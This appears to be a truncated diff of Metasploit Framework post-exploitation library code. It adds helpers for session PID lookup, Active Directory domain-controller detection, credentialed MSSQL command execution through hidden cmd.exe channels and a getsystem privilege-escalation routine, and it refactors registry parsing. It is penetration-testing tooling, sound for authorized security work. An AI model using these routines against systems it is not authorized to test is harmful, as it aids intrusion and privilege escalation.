def meterpreter_get_processes
begin
return session.sys.process.get_processes.map { |p| p.slice('name', 'pid') }
+9 -1
View File
@@ -10,6 +10,14 @@ module Msf::Post::Unix
(cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')
end
#
# Gets the pid of the current session
# @return [String]
#
def get_session_pid
cmd_exec("echo $PPID").to_s
end
#
# Returns an array of hashes each representing a user
# Keys are name, uid, gid, info, dir and shell
@@ -99,7 +107,7 @@ module Msf::Post::Unix
#
def whoami
shellpid = get_session_pid()
status = read_file("/proc/#{shellpid}/status")
status = read_file("/proc/#{shellpid}/status")
status.each_line do |line|
split = line.split(":")
if split[0] == "Uid"
+37
View File
@@ -6,6 +6,7 @@ module Msf
module Windows
module Accounts
include Msf::Post::Windows::Error
include Msf::Post::Windows::Registry
GUID = [
['Data1', :DWORD],
@@ -65,6 +66,42 @@ module Msf
)
end
# Check if host is an Active Directory domain controller
#
# @return [Boolean] Target host is an Active Directory domain controller
def domain_controller?
registry_enumkeys("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS")&.include?('Parameters') ? true : false
end
# @return [String] Active Directory primary domain controller FQDN
def get_primary_domain_controller
if session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API)
domain = get_domain('DomainControllerName')
else
# Use cached domain controller name
key = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History"
return unless registry_key_exist?(key)
domain = registry_getvaldata(key, 'DCName')
end
return unless domain
domain.gsub(%r{^\\\\}, '')
end
# @return [String] Active Directory domain FQDN
def get_domain_name
if session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API)
return get_domain('DomainName')
end
# Use cached domain name
key = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History"
return unless registry_key_exist?(key)
registry_getvaldata(key, 'MachineDomain')
end
##
# get_domain(info_key, server_name = nil)
#
+35 -21
View File
@@ -1,9 +1,9 @@
# -*- coding: binary -*-
module Msf
class Post
module Windows
module MSSQL
# @return [String, nil] contains the identified SQL command line client
attr_accessor :sql_client
@@ -48,18 +48,16 @@ module Msf
target_service = service
break
end
else
if (
service[:display].downcase.include?("SQL Server (#{instance}".downcase) || #2k8
service[:display].downcase.include?("MSSQL$#{instance}".downcase) || #2k
service[:display].downcase.include?("MSSQLServer#{instance}".downcase) || #2k5
elsif (
service[:display].downcase.include?("SQL Server (#{instance}".downcase) || # 2k8
service[:display].downcase.include?("MSSQL$#{instance}".downcase) || # 2k
service[:display].downcase.include?("MSSQLServer#{instance}".downcase) || # 2k5
service[:display].downcase == instance.downcase # If the user gets very specific
) &&
service[:display] !~ /OLAPService|ADHelper/i &&
service[:pid].to_i > 0
target_service = service
break
end
) &&
service[:display] !~ /OLAPService|ADHelper/i &&
service[:pid].to_i > 0
target_service = service
break
end
end
@@ -109,13 +107,28 @@ module Msf
# @param [String] query the query to execute
# @param [String] instance the SQL instance to target
# @param [String] server the SQL server to target
# @param [String] database the database to connect to upon successfully authenticating
# @param [String] username the username to authenticate as
# @param [String] password the password to authenticate with
# @return [String] the result of query
def run_sql(query, instance = nil, server = '.')
def run_sql(query, instance = nil, server = '.', database: nil, username: nil, password: nil)
target = server
if instance && instance.downcase != 'mssqlserver'
target = "#{server}\\#{instance}"
end
cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200"
cmd = sql_client.to_s
cmd += " -d #{database}" if database.present?
if username.present? && password.nil?
raise ArgumentError, 'Username provided but no value for the password was provided!'
elsif username.present? && !password.nil?
cmd += " -U \"#{username}\" -P \"#{password}\""
elsif username.blank? && !password.nil?
cmd += " -P \"#{password}\""
else
cmd += ' -E'
end
cmd += " -S #{target} -Q \"#{query}\" -h -1 -w 200"
vprint_status(cmd)
run_cmd(cmd)
end
@@ -132,9 +145,10 @@ module Msf
def run_cmd(cmd, token = true)
opts = { 'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token }
process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts)
res = ""
res = ''
while (d = process.channel.read)
break if d == ""
break if d == ''
res << d
end
process.channel.close
@@ -203,20 +217,20 @@ module Msf
#
# @return [Boolean] true if escalated successfully or user is already SYSTEM
def get_system
print_status("Checking if user is SYSTEM...")
print_status('Checking if user is SYSTEM...')
if is_system?
print_good("User is SYSTEM")
print_good('User is SYSTEM')
return true
else
# Attempt to get LocalSystem privileges
print_warning("Attempting to get SYSTEM privileges...")
print_warning('Attempting to get SYSTEM privileges...')
system_status = session.priv.getsystem
if system_status && system_status.first
print_good("Success, user is now SYSTEM")
print_good('Success, user is now SYSTEM')
return true
else
print_error("Unable to obtained SYSTEM privileges")
print_error('Unable to obtained SYSTEM privileges')
return false
end
end
+20 -14
View File
@@ -311,14 +311,17 @@ protected
subkeys = []
reg_data_types = 'REG_SZ|REG_MULTI_SZ|REG_DWORD_BIG_ENDIAN|REG_DWORD|REG_BINARY|'
reg_data_types << 'REG_DWORD_LITTLE_ENDIAN|REG_NONE|REG_EXPAND_SZ|REG_LINK|REG_FULL_RESOURCE_DESCRIPTOR'
bslashes = key.count('\\')
bslashes = bslashes - 1 if key.ends_with?('\\')
results = shell_registry_cmd("query \"#{key}\"", view)
unless results.include?('Error')
unless results.to_s.upcase.starts_with?('ERROR:')
results.each_line do |line|
# now let's keep the ones that have a count = bslashes+1
# feels like there's a smarter way to do this but...
if (line.count('\\') == bslashes+1 && !line.ends_with?('\\'))
#then it's a first level subkey
# then it's a first level subkey
subkeys << line.split('\\').last.chomp # take & chomp the last item only
end
end
@@ -336,7 +339,7 @@ protected
reg_data_types << 'REG_DWORD_LITTLE_ENDIAN|REG_NONE|REG_EXPAND_SZ|REG_LINK|REG_FULL_RESOURCE_DESCRIPTOR'
# REG QUERY KeyName [/v ValueName | /ve] [/s]
results = shell_registry_cmd("query \"#{key}\"", view)
unless results.include?('Error')
unless results.to_s.upcase.starts_with?('ERROR:')
if values = results.scan(/^ +.*[#{reg_data_types}].*/)
# yanked the lines with legit REG value types like REG_SZ
# now let's parse out the names (first field basically)
@@ -365,19 +368,22 @@ protected
#
def shell_registry_getvalinfo(key, valname, view)
key = normalize_key(key)
value = {}
value["Data"] = nil # defaults
value["Type"] = nil
value = {
'Data' => nil,
'Type' => nil
}
# REG QUERY KeyName [/v ValueName | /ve] [/s]
results = shell_registry_cmd("query \"#{key}\" /v \"#{valname}\"", view)
# pull out the interesting line (the one with the value name in it)
if match_arr = /^ +#{valname}.*/i.match(results)
# pull out the interesting line (the one with the value name in it)
# and split it with ' ' yielding [valname,REGvaltype,REGdata]
split_arr = match_arr[0].split(' ')
value["Type"] = split_arr[1]
value["Data"] = split_arr[2]
# need to test to ensure all results can be parsed this way
# split with ' ' yielding [valname,REGvaltype,REGdata] and extract reg type
value['Type'] = match_arr[0].split[1]
# treat the remainder of the line after the reg type as the reg value
value['Data'] = match_arr[0].strip.scan(/#{value['Type']}\s+(.+)/).flatten.first
end
value
end
@@ -661,8 +667,8 @@ protected
else
raise ArgumentError, "Cannot normalize unknown key: #{key}"
end
print_status("Normalized #{key} to #{keys.join("\\")}") if $blab
return keys.join("\\")
# print_status("Normalized #{key} to #{keys.join("\\")}")
return keys.compact.join("\\")
end
#

Some files were not shown because too many files have changed in this diff Show More